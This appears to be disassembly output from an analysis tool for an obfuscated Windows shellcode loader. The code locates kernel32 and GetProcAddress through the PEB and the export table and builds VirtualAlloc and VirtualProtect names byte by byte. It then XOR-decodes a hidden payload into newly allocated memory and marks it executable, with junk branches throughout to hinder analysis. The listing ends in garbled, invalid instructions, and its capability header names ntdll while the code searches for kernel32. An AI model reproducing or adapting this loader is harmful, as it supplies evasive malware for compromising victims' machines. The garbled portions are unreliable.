Function at 0x171b01834
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub rsp, 8
mov rcx, 1
mov rdx, 2
mov r8, 3
mov r9, 4
sub rsp, 0x20
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b0199f
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01a27
inc r13
test r13, r13
je 0x171b01aa5
pop r12
pop r13
call 0x171b01813
add rsp, 0x20
mov r15, rax
mov r14, r8
sub rsp, 0x80
lea rdi, [rsp + 0x10]
mov al, 0x55
inc al
mov byte [rdi], al
mov byte [rdi + 1], 0x69
mov byte [rdi + 2], 0x72
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b0173f
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01813
inc r13
test r13, r13
je 0x171b016d4
pop r12
pop r13
mov byte [rdi + 3], 0x74
mov byte [rdi + 4], 0x75
mov al, 0x60
inc al
mov byte [rdi + 5], al
mov byte [rdi + 6], 0x6c
mov byte [rdi + 7], 0x41
mov byte [rdi + 8], 0x6c
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b01a27
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01aa5
inc r13
test r13, r13
je 0x171b01bf0
pop r12
pop r13
mov al, 0x6d
dec al
mov byte [rdi + 9], al
mov byte [rdi + 0xa], 0x6f
mov byte [rdi + 0xb], 0x63
mov byte [rdi + 0xc], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
call r14
add rsp, 0x20
mov r13, rax
add rsp, 0x80
jmp 0x171b01941
push rbp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 8
sub rsp, 0x20
mov rbx, rcx
xor rax, rax
mov rcx, rbp
sub rcx, rsp
sub ecx, esp
mov rdi, rsp
rep stosb byte [rdi], al
mov rcx, rbx
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], r8
mov qword [rbp - 0x20], r9
mov rbx, qword gs:[0x60]
mov rbx, qword [rbx + 0x18]
mov rbx, qword [rbx + 0x20]
mov r12, rbx
mov rax, qword [rbx + 0x40]
cmp byte [rax + 0x28], 0x4b
je 0x171b01874
cmp byte [rax + 0x28], 0x6b
je 0x171b01874
jmp 0x171b018ba
cmp byte [rax + 0x30], 0x45
je 0x171b01882
cmp byte [rax + 0x30], 0x65
je 0x171b01882
jmp 0x171b018ba
cmp byte [rax + 0x32], 0x4c
je 0x171b01890
cmp byte [rax + 0x32], 0x6c
je 0x171b01890
jmp 0x171b018ba
cmp byte [rax + 0x36], 0x32
je 0x171b01898
jmp 0x171b018ba
cmp byte [rax + 0x3c], 0x4c
je 0x171b018a6
cmp byte [rax + 0x3c], 0x6c
je 0x171b018a6
jmp 0x171b018ba
cmp byte [rax + 0x3e], 0x4c
je 0x171b018b4
cmp byte [rax + 0x3c], 0x6c
je 0x171b018b4
jmp 0x171b018ba
mov rbx, qword [rbx + 0x20]
jmp 0x171b018c2
mov rbx, qword [rbx]
cmp r12, rbx
jne 0x171b01862
mov r15, rbx
xor r8, r8
mov r8d, dword [rbx + 0x3c]
mov rdx, r8
add rdx, rbx
mov r8d, dword [rdx + 0x88]
add r8, rbx
xor rsi, rsi
mov esi, dword [r8 + 0x20]
add rsi, rbx
xor rcx, rcx
movabs r9, 0x41636f7250746546
inc r9
inc rcx
xor rax, rax
mov eax, dword [rsi + rcx*4]
add rax, rbx
cmp qword [rax], r9
jne 0x171b018f6
xor rsi, rsi
mov esi, dword [r8 + 0x24]
add rsi, rbx
mov cx, word [rsi + rcx*2]
xor rsi, rsi
mov esi, dword [r8 + 0x1c]
add rsi, rbx
xor rdx, rdx
mov edx, dword [rsi + rcx*4]
add rdx, rbx
mov r14, rdx
mov rax, r15
mov r8, r14
mov rsp, rbp
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
mov rcx, 0
mov rdx, 0xc350
mov r8, 0x3000
mov r9, 4
sub rsp, 0x20
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b01941
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b0173f
inc r13
test r13, r13
je 0x171b01bf0
pop r12
pop r13
call r13
add rsp, 0x20
mov r12, rax
lea rsi, [0x171b01c80]
add rsi, 3
add rsi, 1
add rsi, 0x30
xor rax, rax
mov al, byte [rsi]
shl rax, 8
mov al, byte [rsi + 2]
shl rax, 8
mov al, byte [rsi + 4]
shl rax, 8
mov al, byte [rsi + 6]
shl rax, 8
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b0199f
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01a27
inc r13
test r13, r13
je 0x171b016d4
pop r12
pop r13
mov al, byte [rsi + 8]
shl rax, 8
mov al, byte [rsi + 0xa]
shl rax, 8
mov al, byte [rsi + 0xc]
shl rax, 8
mov al, byte [rsi + 0xe]
mov r10, r13
mov r13, rax
mov rdi, r12
xor rcx, rcx
inc rsi
mov al, byte [rsi]
mov rdx, r13
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b01bf0
invalid
xchg ebx, eax
add dword [rax], eax
invalid
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b016d4
inc r13
test r13, r13
je 0x171b01813
pop r12
pop r13
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
mov byte [rdi], al
add rsi, 2
inc rdi
inc rcx
cmp rcx, 8
jne 0x171b01a27
dec rsi
mov al, byte [rsi]
mov rdx, r13
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b0173f
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01bf0
inc r13
test r13, r13
je 0x171b0173f
pop r12
pop r13
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
shr rdx, 8
xor al, dl
inc rsi
mov byte [rdi], al
inc rdi
cmp byte [rdi - 1], 0xe5
jne 0x171b01aa5
cmp byte [rdi - 2], 0x31
jne 0x171b01aa5
cmp byte [rdi - 3], 0x48
jne 0x171b01aa5
mov rsi, r10
sub rsp, 0x80
lea rdi, [rsp + 0x10]
mov al, 0x55
inc al
mov byte [rdi], al
mov byte [rdi + 1], 0x69
mov al, 0x71
inc al
mov byte [rdi + 2], al
mov byte [rdi + 3], 0x74
mov byte [rdi + 4], 0x75
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b0199f
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01bf0
inc r13
test r13, r13
je 0x171b01aa5
pop r12
pop r13
mov al, 0x60
inc al
mov byte [rdi + 5], al
mov byte [rdi + 6], 0x6c
mov al, 0x51
dec al
mov byte [rdi + 7], al
mov byte [rdi + 8], 0x72
mov byte [rdi + 9], 0x6f
push r13
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b0199f
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01bf0
inc r13
test r13, r13
je 0x171b01c80
pop r12
pop r13
mov al, 0x73
inc al
mov byte [rdi + 0xa], al
mov byte [rdi + 0xb], 0x65
mov byte [rdi + 0xc], 0x63
mov al, 0x75
dec al
mov byte [rdi + 0xd], al
mov byte [rdi + 0xe], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
call r14
add rsp, 0x20
mov r13, rax
add rsp, 0x80
sub rsp, 0x10
mov rcx, r12
mov rdx, 0x9c40
mov r8, 0x20
lea r9, [rsp + 8]
or byte [rax - 0x7d], cl
in al, dx
and byte [rcx + 0x55], al
xor r13, rsp
push r12
xor r12, rsp
mov r13, r12
xor r12, r13
test r12, r12
jne 0x171b016d4
mov r12, r13
xor r13, r12
test r13, r13
jne 0x171b01813
inc r13
xor rbp, rsp
xor dword [rdx + rsi], esi
xor esi, dword ss:[rsi]
cmp byte [rdi], dh
xor al, 0x36
xor eax, 0x34363739
cmp byte [rax], dh
xor dh, byte [rax]
cmp byte [rax], dh
xor dword [rdi], esi
invalid